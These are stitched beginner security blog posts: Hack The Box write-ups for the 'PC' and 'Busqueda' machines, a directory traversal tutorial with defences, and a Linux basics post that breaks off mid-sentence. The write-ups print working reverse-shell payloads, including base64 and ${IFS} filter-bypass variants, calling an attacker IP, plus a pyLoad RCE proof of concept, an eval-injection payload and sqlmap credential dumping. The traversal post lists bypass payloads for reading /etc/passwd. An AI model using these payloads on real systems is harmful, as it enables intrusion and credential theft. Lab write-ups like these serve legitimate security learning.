   • Now for the first problem that is the "whitespace". We can use a simple solution such ${IFS} wherever there is a whitespace instead, we'll be able to bypass the web app's error.

   • IFS is a special shell variable in Unix or Unix-like Operating Systems ( Linux, which the server is - Ubuntu ). By default it has a value of a space, so we put this in place of a space to bypass this error of whitespace.

2. The solution to & in the payload:

   • We can simply base64 encode the command and then send it instead of sending it in cleartext.

   • But to execute it on the machine's terminal, we'll need to decode it as well once it has bypassed the web app's filter and reached the terminal.

   • For encoding, we can use web web-based encoder or the burp's decoder.

So now we'll alter the payload while keeping these two solutions in mind:

First, let's encode the payload:

#Before encoding:
bash -i >& /dev/tcp/10.10.16.4/9001 0>&1
#After encoding:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ==

Now we need to alter the command more so that the encoding gets decoded when it reaches the web app's terminal:

• For this, we can simply use the base64 CLI command:

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ=="|base64 -d|bash

But the payload has whitespaces, so alter it again, this time adding the shell variable ${iFS} in place of whitespace:

echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ=="|base64${IFS}-d|bash

username=;payload;#comment

# as discussed before "Attempting to exploit" in "Understanding the command we'll be injecting"

Following the above we get:

;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ=="|base64${IFS}-d|bash;#

• This should be the final payload that we'll place after the username parameter in the request.

So let's try this payload:

Unfortunately, this payload doesn't work. The web app is still giving a whitespace error.

Later I identified a few mistakes that I was making:

• One major mistake is that I was encoding the reverse shell payload in base64 with whitespaces, that's why it still gave an error that couldn't contain whitespaces.

So I altered the payload again:

bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.10.16.4/9001${IFS}0>&1
#base64 encode this
YmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEke0lGU30wPiYx # base64 encoded

$(echo${IFS}YmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEke0lGU30wPiYx|base64${IFS}-d|bash)

• With this, I bypassed the whitespace error but still, this too did not give me the initial shell.

Anyway, that's all for this one.

Peace! I'm out of here, moonwalking :)

For better readability, turn the dark mode on ( available in the top right corner ):

Connect with Hack The Box using your OpenVPN file, then spawn the PC machine.

Once it's spawned, ping its IP. Then you're good to go.

Mapping

Let's start by running a simple Nmap scan:

Only SSH appears open, nmap's simple scan only scans for the first 1000 ports. So let's try something different.

Let's run it with a default script (-sC ):

The scan too scanned only the first 1000 ports.
Okay, let's scan all the ports now, I didn't use timing template but you should use it to make your scan faster.

• The use of timing templates to make your scans fast is acceptable in environments like these ( HackTheBox, TryHackMe and stuff ) but don't do it on real web apps or take proper cautions as it's going to make your scan way too aggressive and loud.

• Anyways, use either -T4 or -T5, the higher the number, the more aggressive and fast it's going to be.

sudo nmap -p0-65535 10.10.11.214 -v -T4

# Don't just copy the commands, understand them!!

Now we've found one new port open in this scan. GOOD!!

If you search it, you'll see that this port is default for gRPC service.

Source of the info: follow the link here

But you can't directly just access this using IP:port ( socket ):

We need a special tool that supports it:

• two of which are:

  • grpcui ( for ui ) and

  • grpcurl ( for command line )

We'll be using grpcui along with Burp Suite.

source: https://medium.com/@ibm_ptc_security/grpc-security-series-part-3-c92f3b687dd9

Go to grpcui's github repo:

https://github.com/fullstorydev/grpcui

Follow the link below, and download the grpcui from "Assets" section of the page that suits your system:

https://github.com/fullstorydev/grpcui/releases

unzip it:

tar xvf grpcui_1.3.2_linux_x86_64.tar.gz
or 
unzip grpcui_1.3.2_linux_x86_64.zip

Then run the following command:

./grpcui --plaintext 10.10.11.214:50051

As soon as you run this, the web form will open up in your browser, the one that has been mentioned in the GitHub screenshot that I attached above in the screenshot:

So Grpcui is now running on our own machine at 127.0.0.1:37551, using which we are connected to the PC Machine on port 50051, the one that the Nmap found open but was unable to identify the service it is running. That now we do though, it's gRPC.

In Case you are curious to learn about gRPC in detail:

Optional ( if you want to learn about gRPC ):

• amazing explainer, long video

• a short intro

Understanding the flow of this Web Form ( with burp suite ) :

I have the web form open in my Burp Suite browser so that every request and response gets recorded in Proxy HTTP History.

This is helpful as I can visit all the requests and responses whenever I'd like and will be able to grab some information that might be useful for another function of the form.

Like this:

Now if you look into the web UI:

Here, you can do three operations; Login, Register a new user and get info.

We first will go on and register a new user.

Response:

Registered, now let's login:

Response:

• We get a user id and a token for that user. This is what we can use to get info ( the third method in the Method name ) of the user:

token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYW5hbmQiLCJleHAiOjE2OTc0Nzk5Njh9.w5AVsW4Wp7Jy7UN_Fw-2N0GCGVBJ4JUHlNkjg2ZIqkI'

id: 857
#These are user specific, yours will be different so don't copy. Dah!!

Response:

• This would have been captured in the HTTP History of Burp, send this request to the repeater:

• Keep burp open for now. We'll come back at it in a bit.

Spotting the Vulnerable Point:

We saw while walking through the Web Form, we saw we have a lot of points that the user directly interacts with, it's worth checking them all out one by one for any type of vulnerabilities.

The first thing that comes into our head is to input a command of sorts or a query to check if the form has input sanitization in place or not.

Second is that which point retrieves info from the backend. This one is pretty self-explanatory ( the getInfo method does ).

It turns out that, id in getInfo method name is vulnerable to SQLi ( SQL injection ).

Now, coming back to the Burp Suite's last request:

So the vulnerable point in this is the id parameter in the body of the request:

Exploitation:

• We check the vulnerability's existence by putting a wrong id value ( 858, which doesn't exist ) and a condition that will be true always.

• As we are using it with or operator, if any of the two values in id is correct, the response would fetch us stuff: ( that is if the point is vulnerable )

Response:

• It works. The response doesn't contain any error code. On top of that, the message " The admin is working hard to fix the issues. " confirms that our query was executed successfully. If not that, then there's definitely something juicy in here.

What would be its response if we provide just a wrong id and no "or 1=1" condition?

• Let's see:

• The web Form doesn't respond in the same way, and on top of that, it throws an error code in the response as well.

• That confirms that adding "or 1=1" did indeed make the web form behave differently.

Now let's use this discovered vulnerable point to dig out something sensitive.

But first, we need to find out which database service ( DBMS ) is being used in the backend, you may ask why..

• Different DBMSs have their own specific SQL syntax and behavior. By knowing which DBMS is being used (e.g., MySQL, SQLite etc), we can craft SQL injection payloads that are tailored to that specific system. This makes the exploitation more efficient and effective. And a few other reasons like avoiding false positives etc..

SQLmap is one handy tool that can help find in finding this out quickly.

So let's just first save the request from Burp Suite in a file:

• put an asterisk ( * ) right after the value in id parameter - This lets sqlmap know, that this point is a test injection point.

• right-click the request and select save item..

I named the file: getInfo-request.txt

Now I tried random dbms names while using sqlmap on this request file, and eventually one hit it successfully. I found the backend DBMS.

sqlmap -r getInfo-request.txt -p id --dbms=sqlite

# -r = request, -p = parameter

SQLMap Output:

Easy Exploitation ( quick way out ):

We can continue using this sqlmap tool and actually dump the backend data just by adding the --dump switch.

sqlmap -r getInfo-request.txt -p id --dbms=sqlite --dump

+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+

Retrieving User Flag:

Now we know that the ssh port is open, so let's try and login with ssh using the credential set that we have dumped.

Admin login seems to be restricted.

Let's try the second set of credentials:

And walah we're in!!

Now let's get our user's flag, which should be straightforward.

Privilege Escalation:

Let's run sudo -l.

• The user can't run any root-level commands.

While enumerating through the system, we found out that the pc machine is listening at 8000 and 9666. Let me explain this thoroughly but before I do that, you should have a basic idea about port forwarding.

If you don't already understand the concept of Port forwarding, here's a short and sweet intro video.

If we use the command netstat ( network statics ), is used for network connections and network statistics and helps in troubleshooting network problems.

Let's run a vanilla netstat command:

• See, it lists the connection that we have established with this PC machine. SSH and the gRPC Web Form that we used earlier to dump the sau user's password.

Anyways, moving on to the command that will list the extra listening ports that our nmap scan didn't identify:

netstat -tuln

# -t = shows TCP connections
# -u = shows UDP connections
# -l = shows listening sockets only
# -n = shows numbererical ( IP address and ports ) instead of resolving hostname

Alternatively, you can use the ss command as well to list local listening ports and IP:

ss -tlpn

NOTE:

In the output, we typically see the state of TCP ports (such as "LISTENING") but no state for UDP ports. This is because UDP is a connectionless protocol, and it doesn't have the same concept of connection states as TCP. A very well-known networking concept.

sau@pc:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State    
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN   
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN   
tcp6       0      0 :::50051                :::*                    LISTEN   
tcp6       0      0 :::22                   :::*                    LISTEN   
udp        0      0 127.0.0.53:53           0.0.0.0:*                        
udp        0      0 0.0.0.0:68              0.0.0.0:*

We see quite a few ports ( 8 ports in number ) that the PC machine is listening at:

• The ones that Nmap was able to identify as well: 22 - one TCP port and one TCP6 port ( SSH ) and 50051 ( gRPC ) - 3 ports

• Then there are the ports that are very common to see in use: 53 - TCP port and UDP port ( DNS - Domain Name System; for IP to Domain name and reverse mapping ) and UDP 68 port ( DHCP - Dynamic Host Configuration Protocol - for ip assignment to a client connecting to internet using DHCP server ) - 3 ports

• Now the ones that we didn't know about: - 2 ports

  • 8000 listening locally on localhost IP ( 127.0.0.1 )

  • 9666 listening on all interfaces ( 0.0.0.0 )

We'll now be setting up port forwarding. We'll make our machine ( attacker ) listen on a port and connect ( bind ) that port with the remote compromised machine's ( PC ) socket. We're going to do this for both the ports that we found running locally on the compromised machine:

ssh -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.10.11.214

• Ignore the errors, as these ports came in use after this command was executed.

This command is setting up two port forwarding using SSH:

• First, the local 8000 port ( attacker's machine ) binds to the compromised system's socket ( 127.0.0.1:8000 ).

• Second, the local port 9666 binds to the compromised machine's socket ( 127.0.0.1:9666 )

Now to check if our system ( attacker's ) is configured correctly for port forwarding:

sudo lsof -i :8000
# sudo lsof -i :9666 for the second port

• We see that our port forwarding has been set up correctly.

Now as we've set port forwarding, when we type localhost:8000 in our machine, it should direct us to the remote system's socket instead and hence should be able to see whatever service it's running there.

So let's do that.

• This is what we are presented at localhost:8000 .

• I tried accessing localhost:9666, but it gave a 408 error.

Let's see what is the privilege that this pyLoad service on the remote system is running with:

ps aux | grep pyload

• We see /usr/bin/python3 /usr/local/bin/pyload is being run by the root user, hence has the privileges of the root. And as we are looking for a way into the system with root privileges, this could be our way in.

Let's search if there's any exploit for this service "pyLoad" version 0.5.0, that's running on the compromised machine.

• I found a CVE that was released this year 2023 only that mentions pyLoad 0.5.0 as vulnerable to letting attackers run arbitrary code: CVE-2023-0297.

• POC: https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/

• It goes by the name Pre-auth Remote Code Execution.

• The POC mentions that this vulnerability exists in js2py functionality. js2py translates javascript code into python.

• It lets us execute arbitrary code.

# POC
curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

The parameter that's been tampared in POC is jk which has a value that appears to be encoded.

Let's try a decoder and decode this long value. You can use any web-based decoder and choose URL decoding. I used Burp Suite Decoder and decoded it as url:

The decoding reveals that it is a Python one-liner:

pyimport os;os.system("touch /tmp/pwnd")

• That creates a file "pwnd" in /tmp directory. That's all that it does.

So in summary, we have pyLoad running with root-level privileges, and on top of that, this POC confirms that have a way to execute commands on the compromised remote system as well.

Now think about what we can do with this, got anything popping up in your head?

• That's right, we can make the remote system run a reverse shell code and gain a root shell. So let's do that.

Using SSH connection, we create a script that contains the reverse shell code, in the directory /tmp/ :

import os
os.system("bash -c '/bin/sh -i >& /dev/tcp/10.10.16.4/9001 0>&1'")

Now I'll listen at 9001 on my local system as the reverse shell code payload contains it:

nc -lvnp 9001

Now up the decoded part of the POC that I showed earlier and alter it to execute this Python script on the remote compromised system:

pyimport os;os.system("python3 /tmp/pwned.py")

Now URL-encode this part and place it in the POC at the place of jk parameter's value:

# URL-encoded
%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%70%79%74%68%6f%6e%33%20%2f%74%6d%70%2f%70%77%6e%65%64%2e%70%79%22%29

# Modified POC
curl -i -s -k -X $'POST' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%70%79%74%68%6f%6e%33%20%2f%74%6d%70%2f%70%77%6e%65%64%2e%70%79%22%29;f=function%20f2(){};&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

• For some reason, extra request headers ( -H ) in the POC were causing a problem, so removed them.

As we have port forwarded, we can run this POC at either our system or on the compromised system. So Let's do it.

This will make a request using PyLoad which will let the payload in jk value run on the server. The jk value will trigger the command "python3 /tmp/pwned.py" and run the pwned.py script which contains reverse shell code. Hence we should be able to gain a shell on our local machine's listener at port 9001.

Now our listener should have received a shell:

We have a root shell !!

Retrieving The root Flag:

• And we have the root flag now.

Suggested Videos:

Chisel - an alternative to SSH port-forwarding ( you should definitely watch it, it will help you in CTFs and in scenarios when you have a shell and not a SSH on the target ) :

• Chisel short intro

• Chisel John Hammond long video

Peace!!

After having downloaded the Openvpn file connect to HTB, then spawn the Busqueda machine.

As soon as the Busqueda IP shows up, check the connection first by simply pinging Busqueda's ip from your machine's terminal.

Also, put Busqueda's IP in /etc/hosts file with searcher.htb as the hostname corresponding to it. This will help later while we try and access the web app if there's any.

Mapping The Web App:

Let us start with a simple Nmap scan:

-v switch is simply for verbosity so that the results are more with verbs and hence human readable.

I almost always like to use this switch as some Nmap scans can take quite some time, and seeing no results makes me impatient, -v switch shows you what's going on behind the scenes in real-time and I love it.

• We discovered 2 open ports 22, and 80.

• Let's dig deeper into these two by initiating another scan just for these 2 ports to discover the version of these.

• So we get an ssh running at 22

• and Apache http at 80

Let's browse this Apache http and see what it shows : searcher.htb

( if you haven't already, put Busqueda's IP in /etc/hosts file with searcher.htb as the hostname corresponding to it, as mentioned in the beginning )

If you look closely, in the footer section, we see Searcher version.

Let's do a bit of research and see if it's something of interest or not..

If we read about the vulnerabilty, we find that there's improper implementation of eval(). The eval() function is called in main.py, in the web app, user inputs aren't sanitized and is directly passed to this function that lets user execute arbitrary code through the search function of the searcher.

Reference reads: 
  https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection
  https://security.snyk.io/package/pip/searchor/2.4.0
  https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-

Exploitation:

Let's check how and where web app doesn't sanitize user's input and directly passes it to the eval() function call.

Let's check this on the web app:

')+ str(__import__('os').system('pwd'))#

When we click search, if the web app is vulnerable, it should return us a path of directory on which this app is running in the server:

And so it did. It returns us /var/www/app as the response of the command injected "pwd".

Let's see who's the user just for fun:

• svc is the account on the server.

Gaining a Shell:

Now that we confirmed the existence of vulnerability, let's use it to execute a command that gives a shell on the server.

Let's do this in Burp Suite, first, intercept the request that you make in Searcher and forward it to the repeater:

In Burp:

• The marked part is where we are going to place our reverse shell payload command. We are going to use the same payload as earlier but we'll replace pwd with a reverse shell code.

')+ str(__import__('os').system('pwd'))#

You can go to revshells.com to create a reverse shell payload to replace pwd with.

Put your attacker machine's IP and port that it is listening on:

In my case I'm listening on port 9001 and the ip that I got when I connected with OpenVPN file is 10.10.16.4. So that's what my payload contains:

nc -lvnp 9001 #to start listening on 9001 port

• Now right-click the selected part and select Convert Selection --> base64 url --> base64 url encode, to encode this payload.

• It should look like this:

Now use the pipe operator and add bash -d, then use another pipe operator and then append bash to this payload, as shown:

• This will decode the reverse shell payload once it reaches the server, and then execute it using bash shell.

• Also, add echo at the beginning of the base64 encoded payload:

Now we are ready to send this request, but before you do that make sure you're listening on the port that you mentioned in your payload:

We see that we are able to make the command reach back to our shell, but the shell connection wasn't established.

Let's try again by altering the request to use bash instead of sh shell:

Now again base64 encode the part after echo and before the first pipe operator | :

Now copy the entire string after query= and post it in the searcher search index again:

• Before clicking search, again, make sure that you are listening on the port that you used in the payload, in my case I'm listening on 9001.

• And now let's click on search, hopefully, this should give us a shell on the machine:

And guess what it did..

Yay! we got a shell.

Retrieving User Flag:

Before you proceed into reading this further, I'd suggest that you try and find the user flag on your as you already have a shell now, it wouldn't be difficult at all.

Now let's see, as I told you it is too damn easy once you have a shell to retrieve the user's flag. So is showing in the screenshot below:

We are done till the user flag. Let's move towards the root flag now.

Retrieving the Root Flag:

It's pretty self-explanatory that to retrieve the Root flag, we'll have to have root privileges. That means we'll now be doing privilege escalation.

• Let's enumerate through the server in the hope of finding something interesting.

• Starting from the directory that we first gained the shell in: ( /var/www/app )

  

Optional - Just for FYI:

The following .git directory part is optional but is there to make you aware of this process:

I think that the .git directory is a great find, so I like to download the entire directory on my local system and maybe inspect it thoroughly, go through the web app's previous version, to maybe end up finding sensitive information.

So check if Python is on the remote system ( that I have the shell on ). It turns it has, so host a simple python3 server in the app's directory:

Now if you visit the url: machine'sIp:8000 ( 10.10.11.208:8000 ) on your system we get:

.git/ directory contents:

Copy the url and open a terminal on your system:

wget -r -np -nH --cut-dirs=3 -R index.html http://10.10.11.208:8000/.git/

#Refer this to understand the command: https://stackoverflow.com/questions/23446635/how-to-download-http-directory-with-all-files-and-sub-directories-as-they-appear

The command will download the .git directory with all the contents within it recursively.

Alternatively, you can use .git extension:

• Install this extension:

Now host a simple python server on the directory /var/www/app :

Now visit the Url from your machine:

• The extension will prompt you that the .git directory is exposed. Just click on it and download it.

Now you can do a full inspection of this .git directory and go crazy with it.

You can use tools like GitKraken.

But we'll come back to a straight and simple process as I have to finish writing this write-up.

The .git directory part was optional. Now coming back to the Priv. escalation:

But .git is where the juice is and to access that, we can just use the shell that we have to inspect the directory's file like config and etc:

We see a string what appears to be a key after cody:.

Let's try that on ssh as we know that ssh is open, through the nmap scan.

Using the key:

We managed to get ssh into the system:

Privilege Escalation:

Let's first check what svc user is allowed to run on the system using the sudo -l command:

Note: The -l option with sudo lists the commands that the user is allowed or forbidden to run. It retrieves this info using the sudoers file.

• We see that we can run a Python script named system-checkup.py with the privilege of root. BINGO!!.

• Unfortunately, we can't just read or modify this script as we don't have enough privilege.

• But no worries, the script takes an argument script which is * in the screenshot above.

Optional read:

we'll go back to the home directory and there we'll create the script which will be passed as an argument in place of *.

User revshells.com to create the reverse shell payload or other preferred option:

or

import socket,os,pty;s=socket.socket();s.connect(("<local-ip>",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
# source: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-privilege-escalation/

• shebang should contain the /usr/bin/python3 as we checked it in the sudo -l command.

• The payload in the script should be created with the IP and port that the attacker machine is listening on.

As we know this demands making the script executable, but we can't do that as we don't have root privilege and neither can use sudo with chmod.

So we'll create the script on our local machine, then fetch it using wget and python simple server.

Now our system is serving, let's wget the full-checkup.sh file in the busqueda:

Now let's see if it allows us to make it executable or not:

• It did, now full-checkup.sh is executable. Phew finally!!

Now open a listener at the port that you created the scirpt with, I did on the 4444 port, so I'm going to listen on that:

Now let's execute it:

• If we check the listener, we'll see that we've a shell with root as the user.

• And we got the root flag as well.

Yay! We did it.

See ya later. Till then peace.

The article will teach you what directory traversal is, how to find it, how to exploit it and how to prevent it.

What the heck is Directory Traversal?

• Directory Traversal also known as Path Traversal, is a vulnerability that allows an attacker to read files that the attacker shouldn't be able to.

• It is a type of injection vulnerability because of which an attacker can inject a path to the vulnerable endpoint and be able to access the contents of the file specified in the path.

For Example:

There's a web application: www.vulnerable-web-app.com

The web app has an endpoint Images: /Images?filename=ProfilePic.png

Assuming that this image ProfilePic.png resides in /var/www/images directory on the server.

The Images endpoint has a "filename" parameter that fetches the user's profile picture, as shown in the endpoint "/Images?filename=ProfilePic.png". Here the profile picture that's being fetched from the server filesystem is named "ProfilePic.png".

But here the web app's endpoint is vulnerable to Directory Traversal. So attacker will replace the image's name with the file path that he wants to read.

Considering that the file attacker is trying to access from the server is "/etc/passwd".

Note for beginners: /etc/passwd is a file in the Linux filesystem that contains a list of user accounts on the system and other details regarding them.

So the URL now looks like this with the payload "/etc/passwd" injected in it:

https://www.vulnerable-web-app.com/Images?filename=/etc/passwd

Below is a screenshot of request and response in burp suite to explain the above:

Focus on the highlighted parts only.

We have assumed Host ( web app ) to be: www.vulnerable-web-app.com

• Current request URL is:

  https://www.vulnerable-web-app.com/images?filename=ProfilePic.png

• The screenshot above shows the request fetches the "ProfilePic.png" of the current user. It is a valid request, that the web app allows users to make.

• Now we will alter this request and replace the image name with the file's path that we want to access "/etc/passwd".

Request with payload /etc/passwd:

• We've altered the request.

• Now the request URL with payload looks like:

  https://www.vulnerable-web-app.com/images?filename=/etc/passwd.

• We'll send it to the server.

• The server surprisingly responds with the content of the file "/etc/passwd" ( shown in the screenshot below ).

• The server should have responded with a client-side error ( status codes in the range of 400 ) but instead it responds with a 200. Shown in the screenshot below.

• This confirms that the web app's endpoint is vulnerable to Directory Traversal.

Response from the server:

Why /etc/passwd file?

• Well, a standard user doesn't have much privileges, not as much as the root user or sudo user ( in Windows admin user ).

• So as a standard user, we can't access or read a lot of files in the root directory ( or the system's directory ).

• But there are a few files that even a standard user can read, one of which is /etc/passwd file.

• You don't need root privileges to read this file that is why we use this while checking for Directory Traversal vulnerability.

But What if the server is Windows Server, not Linux?

• Well, then try to read different files, one of which is: \WINDOWS\win.ini

• And the traversal sequence has a backward slash in it unlike Linux servers: ..\..\WINDOWS\win.ini

NOTE: Traversal sequences are nothing but these: ../ in Linux and ..\ in Windows.

Hopefully, you all now get at least the basic concept behind the Directory Traversal. Let's move further now.

How to Find Directory Traversal Vulnerability?

An application can have a lot of endpoints or instances for manual testing, that's why the use of automated scanning tools like ZAP or burp suite ( intruder with wordlist ) is recommended along with manual testing.

• The first thing that any tester should do is try to understand the web application's working, mapping the web app thoroughly is necessary.

• While mapping the web app, identify and note down all the endpoints or instances where a file or directory name is present. In simpler words, note down the requests that initiate a request and fetch a file or directory from the server.

• Now test each of these identified endpoints or instances with whatever payload you prefer, a wordlist or manually input custom paths and observe the response.

Don't worry about this much yet, you'll understand it more if you haven't already when you get hands-on in the Directory Traversal labs challenge attached at the end of the article.

How to exploit Directory Traversal?

There are a total of 6 main methods using which this vulnerability can be exploited:

1. Simple Case

../../../../../etc/passwd --> in Linux
or
..\..\..\..\..\WINDOWS\win.ini  --> in Windows

• In simple cases, we try to get out of the current directory that the image is being fetched from and reach the root path, and then from there, we move into the directories where the file that we want is located.

Assuming that the image that was being fetched resides in /var/www/images directory:

• We first used traverse sequence ../../../../../ to move out of "/var/www/images" and reach / "root" directory

NOTE: We can use as many traverse sequences as we'd like but it should not be less than the number we're required to get out and reach the root path. The extra traverse sequence gets ignored so no error will be thrown either. For example, to get out of /var/www/image we require 3 traverse sequences ( ../ ) to reach / but can use more traverse sequences if we suspect that we're even deeper in the filesystem than /var/www/images.

• Then, we moved into the directory where passwd file resides which is /etc/passwd.

  ---

1. Traversal Sequence blocked with absolute path bypass

/etc/passwd

• In this case, developers try to put up a filter for any payload containing a traverse sequence in the request sent.

• But still, we can access the file using the absolute path which is "/etc/passwd".

1. Traversal Sequences stripped non-recursively

• Developers put a filter for any traverse sequence in the path of the request.

• So we forge a request with a payload "....//....//....//....//".

• The highlighted parts get stripped as they are traverse sequence "....//....//....//....//".

• So now we end up with .. which was before the traverse sequence stripped and a / which was after the traverse sequence stripped.

  

....//....//....//....//etc/passwd


../../../../etc/passwd 
--> after the traverse sequense is stripped

1. Traversal Sequences stripped with superfluous URL-decode

• Sometimes, the web app is protected in such a way that disregards the entire request that contains such a custom path.

• Then we try to bypass these using URL-encoding.

• But there are WAFs ( Web Application Firewalls ) also that protect from such attacks, which blocks any URL-encoded request that contains a path in it as payload.

• It checks the encoded URL by decoding it and analysing the request to see if there's any path in it.

• But at times the WAF rules to block aren't that well written, There are chances that the WAF only blocks one URL-encoding, but what if we encoded the URL twice or even thrice? If the WAF only decodes the URL once, then this too can be bypassed.

Once encoded URL

Twice encoded URL:

1. Validation of start of the path

/var/www/images/../../../etc/passwd

• Some web app only checks if the request contains the expected start of the path or not.

• For example, our current web app expects that the user trying to fetch ProfilePic.png will request to fetch the image from /var/www/images directory.

• So we use that at the start of the path so that the web application allows this request to pass but then we use the traverse sequence to come back out to the root directory and then to the /etc/passwd file. /var/www/images/../../../etc/passwd

• And this is how we can bypass this as well.

1. Validation of file extension with null byte ( %00 ) bypass

   • %00 are called null bytes.

   • When we add these in the request, anything appearing after the null bytes gets ignored by the web app.

Some web app checks if the request contains an allowed file extension or not.

• In our case, it would be jpg or png as the web app fetches images.

• So we use a null byte to bypass this.

• Even though the request contains a valid file extension at the end ".png", because of the fact that we have added %00 before the name of the image file "ProfilePic.png", the image file name gets ignored and only the part of the path that was appearing before the null byte gets passed to the server "/etc/passwd" in /images?filename=/etc/passwd.

/images?filename=/etc/passwd%00ProfilePic.png

Those are all 6 methods of exploiting Directory Traversal. Now Let's understand how we protect against this attack.

How to Prevent it?

The best way to prevent such vulnerabilities is to avoid passing user-supplied input to filesystem APIs.

Note: Filesystem APIs are the mediator that allows interaction with resources on the filesystem. So here it is allowing us to access our images.

But if that's not possible, then we can put up a few layers of defence ( best if you use them all together ):

• Use Whitelisting: Allow only those user input that matches any of the permitted values.

• If that too is not possible, then make sure to allow only those user inputs that contain alphanumeric values and disregard or strip any request that contains any special characters etc.

• Once the input has been validated, the application should add the input to the base directory and utilize a platform-specific filesystem API to obtain the canonicalized path. Subsequently, it should confirm that the canonicalized path indeed begins with the predetermined base directory as expected.

And that is how we can prevent this attack.

Great job, you did it!!

Challenge:

You've been given all the information that you need to solve these labs.

You will have to make an account on portswigger.net to be able to proceed further.

After you've made an account, visit the following link which will take you to all the 6 labs of Directory Traversal.

Now go and crush it, soldier.

https://portswigger.net/web-security/all-labs#directory-traversal

NOTE: BLOG TARGETS ABSOLUTE BEGINNERS

What will you learn?

• How to copy, and cut ( or move ) stuff.

• Different options to create and delete ( remove ) files and directories ( folders ).

• Concluding

Let's kick that engine back up and turn that volume up, shall we?

How to copy, move ( cut ) and remove ( delete ) using Terminal :

commands - cp, mv and rm

Copy - cp

---

• cp is the command for copy.

  

  • There's no file in the Documents directory when we check its content by using the ls command.

  • Then we use the cp command to copy a file named file.txt from the current directory to the Documents directory.

  • Then we ran the ls command on the Documents directory once more, now we see there's that file.txt present in it, which confirms that the file was copied successfully.

Copying a directory:

• We use an option ( -r for recursive copying ) with cp command before specifying the directory that we want to copy.

• As you can see, Pictures was empty earlier, but now it has the Documents directory in it.

• -r option stands for recursive copying which means that the directory and the contents in it recursively get copied to the specified path.

NOTE: Copying a directory without an -r ( also called a switch ) option throws an error:

That's it for cp. Let's learn to cut or move files and directories using the terminal next.

Move - mv ( cut )

---

• mv is the command used to move ( or cut and paste ) a file or directory.

• The file "file.txt" was cut from the current directory and pasted into the public directory.

• It works the same for directories, it doesn't require any additional option like -r in the cp command.

mv command to rename a file or directory:

---

• mv command can be used to rename a file or directory as well.

• The syntax is quite simple too. Just use the command, then specify the name ( with relative or full path ) of the file or directory that you want to rename, then write the new name that you want it to be renamed into:

  

  • We renamed the directory from "Public" to "Private" using the mv command.

---

That's it for mv command, Now you might wanna take a 5-minute break, and then join me back in this article.

How to Create and Delete Files and Directories using Terminal

---

Creating Files

• For creating files in linux, there are a few different options available.

• The options are:

  • touch command - used to create empty files

  • cat command with redirection operator. Don't worry about cat or redirection operators ( >, >> ), I will teach you both well enough.

  • Editors like Nano and Vi ( Vim ). This topic is not in the scope of this article. I'll link it here if I decide to write a blog on it. For now, you can refer to this (not sponsored) or you may find another resource on this yourself if you prefer:

    %[https://youtu.be/vAwo7CLWlUc?si=6ZRuc9TlMnmG6u0d]

Creating files with touch command:

• touch is used to create empty files, a file that has no content in it.

• When we write touch fileName, an empty file named "fileName" gets created.

• Now using "cat fileName" we print the content of the file in the terminal itself.

• But here nothing gets printed in the terminal. That confirms that the file is empty.

• Don't worry about this cat command if you don't understand it. We'll be discussing it next.

---

cat command and how it can be used to create files using redirection operators:

---

cat command

• cat stands for concatenation.

• Let me explain what it does in a bit simpler language;

  • It can be used to print outputs in the terminal and

  • cat command can be used for concatinatinating content into files ( in other words creating or updating files without ever leaving the home terminal itself with the help of redirection operators > and >> ).

1. cat to print output ( contents of a file )

Note: cat can be used to print output of operations etc. But we are discussing file content printing to the terminal only.

• This one's very simple actually.

• Just use cat followed by filename that you want to print:

  

  • I went ahead and created this file with the content that you see in the screenshot. Read it to understand better.

That's it for printing the output with cat. Now let's learn to create files.

---

1. cat with redirection operators to create or update an existing file's content:

• We used cat with a single redirection operator ( > ) followed by a file that we want to write the content in, here i.e., "fileName",

• Then we typed the following:

  

• Then we changed the line by pressing enter.

• Then we used Ctrl + c to exit out of concatenation.

  Now to verify use "cat fileName" to print the content of the file in the terminal:

  

  We can see that the contents were concatenated into the file "fileName".

  • Note: If we use this "cat > fileName" on the same file "fileName" again then the file's content will be overwritten. That's why > operator is sometimes called an overwrite operator command.

  • Let's verify if it overwrites the content or not:

    

